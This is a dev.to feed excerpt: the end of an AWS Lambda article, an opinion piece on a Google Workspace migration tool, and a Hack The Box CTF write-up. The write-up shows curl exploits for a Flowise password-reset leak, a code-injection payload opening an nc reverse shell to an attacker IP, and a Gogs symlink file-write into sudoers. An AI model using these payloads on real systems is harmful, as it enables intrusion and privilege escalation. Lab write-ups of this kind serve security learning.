    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;renewal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;request-renewal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;requestCertificate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cert&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;validated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;waitForCondition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;wait-for-validation&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;checkValidationStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;renewal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;arn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ISSUED&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;minutes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;minutes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;validation_failed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;swap-cert&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;updateListenerCertificate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listenerArn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;renewal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;arn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;rotated&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;newCertArn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;renewal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;arn&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The common thread is that these workflows are too simple for Step Functions (5-7 steps, mostly Lambda code) but too stateful for a single Lambda invocation. That's the gap durable functions fill.&lt;/p&gt;




&lt;h2&gt;
  
  
  Getting Started
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sam init  &lt;span class="c"&gt;# Choose the durable functions quick start template&lt;/span&gt;
sam &lt;span class="nb"&gt;local &lt;/span&gt;invoke  &lt;span class="c"&gt;# Test locally, including callbacks&lt;/span&gt;
sam deploy  &lt;span class="c"&gt;# Ship it&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/durable-functions.html" rel="noopener noreferrer"&gt;developer guide&lt;/a&gt; covers setup. The &lt;a href="https://www.youtube.com/watch?v=XJ80NBOwsow" rel="noopener noreferrer"&gt;re:Invent breakout session&lt;/a&gt; is worth watching for the architecture deep dive.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://aws.amazon.com/lambda/lambda-durable-functions/" rel="noopener noreferrer"&gt;Lambda Durable Functions&lt;/a&gt; | &lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/durable-functions.html" rel="noopener noreferrer"&gt;Documentation&lt;/a&gt; | &lt;a href="https://aws.amazon.com/lambda/pricing/" rel="noopener noreferrer"&gt;Pricing&lt;/a&gt;&lt;/p&gt;

</description>
      <category>lambda</category>
      <category>aws</category>
      <category>serverless</category>
      <category>cloud</category>
    </item>
    <item>
      <title>The NEXT '26 Announcement That Should Worry Microsoft Has Nothing to Do With Gemini</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Wed, 29 Apr 2026 15:46:22 +0000</pubDate>
      <link>https://dev.to/lewisawe/the-next-26-announcement-that-should-worry-microsoft-has-nothing-to-do-with-gemini-294c</link>
      <guid>https://dev.to/lewisawe/the-next-26-announcement-that-should-worry-microsoft-has-nothing-to-do-with-gemini-294c</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/google-cloud-next-2026-04-22"&gt;Google Cloud NEXT Writing Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Most of the coverage from Google Cloud NEXT '26 focused on Gemini and the agentic AI push. Fair enough. But the announcement that caught my attention had nothing to do with AI models. Google launched a free, built-in migration tool that moves enterprises from Microsoft 365 to Google Workspace, and claimed it's up to five times faster than their previous migration tools.&lt;/p&gt;

&lt;p&gt;That doesn't sound exciting until you think about what it actually means.&lt;/p&gt;

&lt;h2&gt;
  
  
  Microsoft's real advantage was never the product
&lt;/h2&gt;

&lt;p&gt;Ask any IT leader why their company is still on Microsoft 365 and you'll rarely hear "because Word is better than Docs." The answer is almost always about switching costs. Years of SharePoint content, Teams workflows, and Exchange mailboxes wired into Active Directory and compliance systems. Moving off that stack is a six-to-twelve month project that nobody wants to own.&lt;/p&gt;

&lt;p&gt;Microsoft knows this. Their moat has always been the pain of leaving, not Copilot or Excel. Google just went after the moat directly.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Google actually shipped
&lt;/h2&gt;

&lt;p&gt;The new tool is called Data Import. It lives inside the Workspace Admin Console, no third-party software needed. It handles email, calendar, and contact migration from Exchange Online using parallelized transfers and what Google calls "improved algorithms" for speed.&lt;/p&gt;

&lt;p&gt;There's also a migration planning utility that estimates timelines and organizes users into speed-optimized batches. For an IT team evaluating the switch, that removes one of the first objections: "we don't even know how long this would take."&lt;/p&gt;

&lt;p&gt;No extra GCP infrastructure costs. No licensing fees for migration tools. Google is absorbing the cost of switching entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  The gap nobody's mentioning
&lt;/h2&gt;

&lt;p&gt;Here's what Data Import doesn't do yet: OneDrive, SharePoint, and Teams. Google says those are "coming soon."&lt;/p&gt;

&lt;p&gt;That's a problem. Email migration is the easy part. The real lock-in for most enterprises is in shared drives and document libraries, not email. A company with 10,000 employees and years of SharePoint content isn't switching because email migration got faster. They're switching when someone solves the file and permissions migration, and that piece isn't ready.&lt;/p&gt;

&lt;p&gt;So the "5x faster" headline is real, but it applies to the part of the migration that was already the least painful.&lt;/p&gt;

&lt;h2&gt;
  
  
  The $750M makes more sense now
&lt;/h2&gt;

&lt;p&gt;Google also announced a $750 million partner fund at NEXT '26 for consulting firms and systems integrators. The fund is officially about accelerating agentic AI deployment, not migration specifically. But paired with the migration tool, the timing tells a story.&lt;/p&gt;

&lt;p&gt;The people who decide which platform an enterprise adopts aren't usually the CTO. They're the Deloittes and Accentures who run the evaluation and implementation. Google is paying those firms to recommend and execute the switch. The migration tool handles the technical side, and the partner fund gets the right people in the room to say yes.&lt;/p&gt;

&lt;h2&gt;
  
  
  The question Google doesn't want you to ask
&lt;/h2&gt;

&lt;p&gt;If Google makes it easy to move &lt;em&gt;to&lt;/em&gt; Workspace, does that also make it easy to move &lt;em&gt;away&lt;/em&gt; from Workspace later?&lt;/p&gt;

&lt;p&gt;Data portability is a one-way pitch right now. Google built a tool to import from Microsoft, not a tool to export to Microsoft. Expected, but worth noticing. The easier Google makes it to arrive, the more you should ask what leaving looks like. Switching costs don't disappear when you change vendors. They just reset.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters
&lt;/h2&gt;

&lt;p&gt;The AI feature race between Google and Microsoft is real, but it's converging. Gemini and Copilot will keep trading benchmarks. The actual competitive battle is happening at the infrastructure and distribution layer, where switching costs and partner incentives determine which platform enterprises land on.&lt;/p&gt;

&lt;p&gt;Google figured out that winning the AI argument isn't enough if nobody can act on it. So they removed the friction and funded the people who make the recommendation. Whether the destination is worth it depends on how fast they ship the SharePoint and Teams migration. Until then, it's a strong pitch with an asterisk.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>cloudnextchallenge</category>
      <category>googlecloud</category>
    </item>
    <item>
      <title>CTF Writeup Silentium - HTB</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 26 Apr 2026 11:20:31 +0000</pubDate>
      <link>https://dev.to/lewisawe/ctf-writeup-silentium-htb-536i</link>
      <guid>https://dev.to/lewisawe/ctf-writeup-silentium-htb-536i</guid>
      <description>&lt;p&gt;This writeup details the complete attack chain for the Silentium machine, starting from a vulnerable Flowise AI instance to a privilege escalation using a recent Gogs vulnerability (CVE-2025-8110).&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Enumeration &amp;amp; Discovery
&lt;/h2&gt;

&lt;p&gt;Initial enumeration of the target IP revealed an Nginx web server redirecting to &lt;code&gt;silentium.htb&lt;/code&gt; and an open SSH port.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &amp;lt;TARGET_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adding the primary domain to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;TARGET_IP&amp;gt; silentium.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  VHost Fuzzing
&lt;/h3&gt;

&lt;p&gt;Knowing we were dealing with a web application, we fuzzed for subdomains using &lt;code&gt;gobuster&lt;/code&gt; and discovered a staging environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster vhost &lt;span class="nt"&gt;-u&lt;/span&gt; http://silentium.htb &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;--append-domain&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This revealed &lt;code&gt;staging.silentium.htb&lt;/code&gt;. We added this to &lt;code&gt;/etc/hosts&lt;/code&gt; and navigated to it, discovering an instance of Flowise AI (version 3.0.5).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F644a27c53f517032cc6d9cb7%2F8f48ad37-214d-4af1-b0d2-a26d62765a3f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F644a27c53f517032cc6d9cb7%2F8f48ad37-214d-4af1-b0d2-a26d62765a3f.png" alt="ASdsf" width="800" height="487"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Initial Access: Flowise AI Password Reset Vulnerability
&lt;/h2&gt;

&lt;p&gt;The Flowise AI instance was vulnerable to an unauthenticated API logic flaw (CVE-2025-58434) that leaks password reset tokens directly in the API response.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Leaking the Token
&lt;/h3&gt;

&lt;p&gt;By sending a POST request to the "forgot password" endpoint with a valid username (&lt;code&gt;ben@silentium.htb&lt;/code&gt;), the server responded with the user object, including the &lt;code&gt;tempToken&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://staging.silentium.htb/api/v1/account/forgot-password &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"user": {"email": "ben@silentium.htb"}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 2: Overcoming the 500 Internal Server Error
&lt;/h3&gt;

&lt;p&gt;Initially, attempting to use the token to reset the password returned a &lt;code&gt;500 Internal Server Error&lt;/code&gt; complaining about a database transaction. Analyzing the behavior revealed two things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Token Expiration:&lt;/strong&gt; The token had a very short lifespan (&lt;code&gt;tokenExpiry&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Payload Structure:&lt;/strong&gt; The server expected a flattened payload rather than a nested "user" object.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By immediately generating a fresh token and using a corrected JSON payload, the password was successfully reset.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://staging.silentium.htb/api/v1/account/reset-password &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
       "tempToken": "&amp;lt;FRESH_LEAKED_TOKEN&amp;gt;",
       "password": "&amp;lt;NEW_PASSWORD&amp;gt;",
       "confirmPassword": "&amp;lt;NEW_PASSWORD&amp;gt;"
     }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F644a27c53f517032cc6d9cb7%2Ff3437941-86e0-4ddb-92fd-27e9f111eddc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F644a27c53f517032cc6d9cb7%2Ff3437941-86e0-4ddb-92fd-27e9f111eddc.png" width="800" height="163"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With the credentials (&lt;code&gt;&amp;lt;EMAIL&amp;gt;&lt;/code&gt; / &lt;code&gt;&amp;lt;PASSWORD&amp;gt;&lt;/code&gt;), we logged into the Flowise dashboard.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Remote Code Execution (RCE) via Flowise (Model Context Protocol)
&lt;/h2&gt;

&lt;p&gt;Once authenticated as an admin in Flowise, we explored the integration of the &lt;strong&gt;Model Context Protocol (MCP)&lt;/strong&gt;, a standard that allows LLMs to interact with external tools and data sources. In Flowise 3.0.5, the &lt;code&gt;/api/v1/node-load-method/customMCP&lt;/code&gt; endpoint was found to be vulnerable to &lt;strong&gt;Insecure Code Evaluation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The vulnerability lies in how Flowise handles the &lt;code&gt;mcpServerConfig&lt;/code&gt; parameter. When a user configures a "Custom MCP" node, the server takes the provided configuration string and evaluates it within the Node.js environment to initialize the connection. Because this evaluation is performed without proper sandboxing, an attacker can inject arbitrary JavaScript code.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack Path:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Authentication:&lt;/strong&gt; We secured our access using either the session &lt;strong&gt;JWT Bearer Token&lt;/strong&gt; or the persistent &lt;strong&gt;API Key&lt;/strong&gt; found in the dashboard settings.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Payload Crafting:&lt;/strong&gt; We crafted a JSON payload that targeted the &lt;code&gt;customMCP&lt;/code&gt; load method. The payload used an Immediately Invoked Function Expression (IIFE) within the &lt;code&gt;mcpServerConfig&lt;/code&gt; string to require the &lt;code&gt;child_process&lt;/code&gt; module and execute a reverse shell command.&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"loadMethod"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"listActions"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"inputs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"mcpServerConfig"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&amp;gt;&amp;amp;1|nc &amp;lt;ATTACKER_IP&amp;gt; &amp;lt;PORT&amp;gt; &amp;gt;/tmp/f');return 1;})()} )"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Execution:&lt;/strong&gt; We saved the payload to a file named &lt;code&gt;payload.json&lt;/code&gt; and sent it to the endpoint using &lt;code&gt;curl&lt;/code&gt;, authorizing the request with our retrieved API key:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://staging.silentium.htb/api/v1/node-load-method/customMCP &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;YOUR_API_KEY&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; @payload.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Upon sending the request, the Node.js backend evaluated the &lt;code&gt;mcpServerConfig&lt;/code&gt; string, immediately executing our reverse shell.&lt;/p&gt;

&lt;p&gt;The shell landed us inside the Flowise Docker container as the &lt;code&gt;node&lt;/code&gt; user.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Pivoting to the Host
&lt;/h2&gt;

&lt;p&gt;Being inside a Docker container meant we needed to find a way to the host machine.&lt;/p&gt;

&lt;p&gt;Enumerating the container's environment variables (&lt;code&gt;env&lt;/code&gt;) revealed sensitive credentials, including the password for the local user &lt;code&gt;ben&lt;/code&gt;: &lt;code&gt;&amp;lt;USER_PASSWORD&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since the host had SSH exposed, we used these credentials to log in as &lt;code&gt;ben&lt;/code&gt; on the main host.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh ben@silentium.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User Flag Captured!&lt;/strong&gt; &lt;code&gt;cat /home/ben/user.txt&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Privilege Escalation: Gogs Arbitrary File Write (CVE-2025-8110)
&lt;/h2&gt;

&lt;p&gt;System enumeration as &lt;code&gt;ben&lt;/code&gt; revealed a local Gogs instance running on port 3000/3001. Checking the running processes (&lt;code&gt;ps aux | grep gogs&lt;/code&gt;) confirmed that the Gogs web process was running as &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Gogs is vulnerable to CVE-2025-8110, an Arbitrary File Write vulnerability caused by improper handling of symbolic links via the API. By pushing a repository containing a symlink that points outside the repository and then updating the file via the API, an attacker can overwrite arbitrary files as the user running Gogs (&lt;code&gt;root&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;We used SSH local port forwarding to expose the internal Gogs web interface to our local attacking machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-L&lt;/span&gt; 8080:127.0.0.1:3000 ben@silentium.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. Gogs Exploitation: Manual Method (Web UI)
&lt;/h2&gt;

&lt;p&gt;If an attacker prefers a manual approach, the vulnerability can be exploited directly through the Gogs dashboard at &lt;code&gt;http://127.0.0.1:8080&lt;/code&gt;.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Account Setup:&lt;/strong&gt; Register a new user account (e.g., &lt;code&gt;&amp;lt;USERNAME&amp;gt;&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;API Token Generation:&lt;/strong&gt; Navigate to &lt;strong&gt;User Settings &amp;gt; Applications&lt;/strong&gt;. Under "Generate New Token," provide a name and click &lt;strong&gt;Generate Token&lt;/strong&gt;. Save this token for API authentication.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Repository Creation:&lt;/strong&gt; Create a new repository and ensure it is initialized.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Symlink Creation (Local):&lt;/strong&gt; On your attacking machine, clone the repo, create a symlink pointing to the target file on the host, and push it:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone http://127.0.0.1:8080/&amp;lt;USERNAME&amp;gt;/&amp;lt;REPO&amp;gt;.git
&lt;span class="nb"&gt;cd&lt;/span&gt; &amp;lt;REPO&amp;gt;
&lt;span class="nb"&gt;ln&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /etc/sudoers.d/ben malicious_link
git add malicious_link &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"Add symlink"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git push
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Payload Delivery:&lt;/strong&gt; Use a tool like &lt;code&gt;curl&lt;/code&gt; or Postman to send a &lt;code&gt;PUT&lt;/code&gt; request to the Gogs API to update the content of &lt;code&gt;malicious_link&lt;/code&gt;. This triggers the arbitrary write to the host's filesystem.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  7. Gogs Exploitation: Automated Attack (Python Script)
&lt;/h2&gt;

&lt;p&gt;To increase efficiency and reliability, we used a finalized Python script (&lt;code&gt;new_exploit.py&lt;/code&gt;) to handle the authentication, token generation, repository management, and symlink poisoning.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Final Working Logic
&lt;/h3&gt;

&lt;p&gt;The script's success relied on targeting the &lt;code&gt;/etc/sudoers.d/&lt;/code&gt; directory. By writing a new configuration file for the user &lt;code&gt;ben&lt;/code&gt; and ensuring the payload included a &lt;strong&gt;trailing newline (&lt;/strong&gt;&lt;code&gt;\n&lt;/code&gt;&lt;strong&gt;)&lt;/strong&gt;, we were able to bypass the sudo password prompt entirely.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Exploit Code (&lt;code&gt;new_exploit.py&lt;/code&gt;)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;shutil&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urllib3&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
